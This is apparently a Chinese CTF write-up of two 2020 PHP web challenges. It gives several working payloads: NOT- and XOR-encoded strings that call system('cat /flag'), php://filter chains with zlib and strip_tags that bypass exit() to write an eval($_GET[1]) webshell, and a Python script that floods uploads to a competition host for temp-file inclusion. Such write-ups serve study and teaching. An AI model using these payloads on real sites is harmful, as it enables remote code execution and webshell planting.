[2020国赛/工业互联网]SimpleCalculator

时间:2020年10月24日

题目来源:2020国赛&工业互联网

解题过程: 打开题目是一个计算器,并且支持众多php函数(暗示代码执行),然后fuzz了一下,过滤了超多函数,基本上没有可以用的函数。

在大师傅的提醒下,大概可以用很多思路,国赛lovemath,rctf的calc,构造$_GET等。

国赛当天试了试,由于不熟练而且后面时间不够了就没做出来。

工业互联网又遇到了,雨晴姐姐直接用凯哥的payload打了:

?search=$%8F=~%8C%86%8C%8B%9A%92;$%8E=~%9C%9E%8B%DF%D0%99%93%9E%98;$%8F($%8E);

因为本题没有限制高位unicode,所以取反操作可以实现。

在本地测试了一下,

$%8F的值是echo urlencode(~'system')."\n";
$%8E的值是echo urlencode(~'cat /flag')."\n";

下面是另外一个师傅的payload:

?search=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat%20/flag

说真的,看了wp都觉得不难,但是自己真正做的时候又是另外一回事了。

[2020工业互联网]easyphp

时间:2020年10月24日

题目来源:工业互联网

解题过程:文件包含。用?page=php://filter/convert.base64-encode/resource=index.php读取一波源码:

GYHLW

这题是WMCTF签到题原题,官方WP在这里

官方给出了3种解决方案:

1.二次编码绕过

file_put_contents中可以调用伪协议,而伪协议处理时会对过滤器urldecode一次,所以是可以利用二次编码绕过的,不过我们在服务端ban了%25(用%25太简单了)所以测试%25被ban后就可以写个脚本跑一下字符,构造一些过滤的字符就可以利用正常的姿势绕过。知道可以用二次编码绕过了,可以简单构造一下参见的payload即可,可参考我之前写的文章中的一些简单的payload: https://cyc1e183.github.io/2020/04/03/关于file_put_contents的一些小测试/

<?php
$char = 'r'; #构造r的二次编码 
for ($ascii1 = 0; $ascii1 &lt; 256; $ascii1++) { 
    for ($ascii2 = 0; $ascii2 &lt; 256; $ascii2++) { 
        $aaa = '%'.$ascii1.'%'.$ascii2; 
        if(urldecode(urldecode($aaa)) == $char){ 
            echo $char.': '.$aaa; 
            echo "\n"; 
        } 
    } 
} 
?> 
php://filter/write=string.%7%32ot13|cuc cucvasb();|/resource=Cyc1e.php 
#Cyc1e.php 
<?cuc rkvg();cuc://svygre/jevgr=fgevat.%72bg13|<?php phpinfo();?>|/erfbhepr=Plp1r.cuc 

:payload放过滤器的位置或者放文件名位置都可(因为有些编码有时候会有空格什么的乱码,文件名不一定好用),php://filter面对不可用的规则是报个Warning,然后跳过继续执行的)。

2.过滤器绕过

题目中过滤的过滤器有

/iconv|UCS|UTF|rot|quoted|base64/ 

预留了zlib、bzip2、string等过滤器, php:filter 支持使用多个过滤器,所以可以利用 zlibzlib.deflatezlib.inflate 来做,压缩后再解压后内容肯定不变,不过我们可以在中间遍历一下剩下的几个过滤器,看看中间操作时候会影响后续inflate的内容,简单遍历一下可以发现中间插入string.tolower转后会把空格和exit处理了就可以绕过exit

php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php%0deval($_GET[1]);?>/resource=Cyc1e.php 

当然,也是可以通过构造单个 zlib.inflate 解压字符,通过 zlib.deflate 压缩来构造shell,这里就不多说了。

3.爆破临时文件

环境特地设置了php 7.0.33版本,由于file_put_contents也可以利用伪协议,所以老问题,利用string.strip_tags会发生段错误,这时候上传一个shell会以临时文件的形式保存在/tmp中,利用require_once包含getshell即可(用一次就会被覆盖,所以直接反弹shell或者写马就行)。因为爆破的基数太大了,所以这个是一个最不好的解作为备选解,但是在比赛中,太多人同时爆破形成了DDOS,服务器也承受不住,所以我们选择封堵这条路(莫怪)。简单放下生成临时文件的脚本(网上就有)

import requests 
import string 
import itertools 
 
charset = string.digits + string.letters 
 
host = "web_checkin2.wmctf.wetolink.com" 
port = 80 
base_url = "http://%s:%d" % (host, port) 
 
 
def upload_file_to_include(url, file_content): 
    files = {'file': ('evil.jpg', file_content, 'image/jpeg')} 
    try: 
        response = requests.post(url, files=files) 
    except Exception as e: 
        print e 
 
def generate_tmp_files(): 
    file_content = '&lt;?php system("xxxxxxxx");?>' 
    phpinfo_url = "%s/?content=php://filter/write=string.strip_tags/resource=Cyc1e.php" % ( 
        base_url) 
    print phpinfo_url 
    length = 6 
    times = len(charset) ** (length / 2) 
    for i in xrange(times): 
        print "[+] %d / %d" % (i, times) 
        upload_file_to_include(phpinfo_url, file_content) 
 
if __name__ == "__main__": 
    generate_tmp_files() 

这里我开始找到官方wp的时候眼瞎了,没看到直接的payload,然后找到了Nu1L的wp,他们是用的条件竞争,但是没跑出来。。。人啥傻了!

这里解释一下方法2的绕过exit()的方法:

帖一下讲得很详细的一个文章

其实这道题又和上面wmctf 的有一点不一样,这题过滤了wmctf的payload中的string.tolower,所以这题有效payload如下:

php://filter/write=string.strip_tags|zlib.inflate|%3F%3E%b3%b1%2f%c8%28%50%28%ae%2c%2e%49%cd%d5%50%89%77%77%0d%89%8e%8f%d5%b4%b6%b7%03%3C%3F/resource=123.php

其中URL编码的payload。以下获取。?>经过targs就会删掉exit。然后再经过zlib解压。得到一句话

 <?php 
file_put_contents('php://filter/write=zlib.deflate/resource=1.php','?><?php eval($_GET[1]);?>'); 
var_dump(urlencode(file_get_contents('1.php')));

学到了许多233333


我啥也不会!